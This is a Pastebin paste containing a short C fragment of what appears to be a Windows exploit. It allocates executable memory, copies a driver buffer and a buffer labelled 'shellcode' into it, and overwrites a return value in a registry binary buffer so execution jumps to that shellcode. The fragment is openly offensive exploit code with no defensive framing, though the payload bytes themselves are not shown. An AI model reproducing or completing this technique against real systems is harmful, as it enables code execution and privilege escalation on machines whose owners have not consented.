Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Allocate buffer for the driver
- LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));
- BYTE* pMem; // shellcode
- DWORD ExpSize = 0;
- BYTE RegBuf[0x40] = {0}; // reg binary buffer
- pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(pMem, Data, sizeof(Data)); // Copy shellcode
- *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer
- ExpSize = 0x28;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement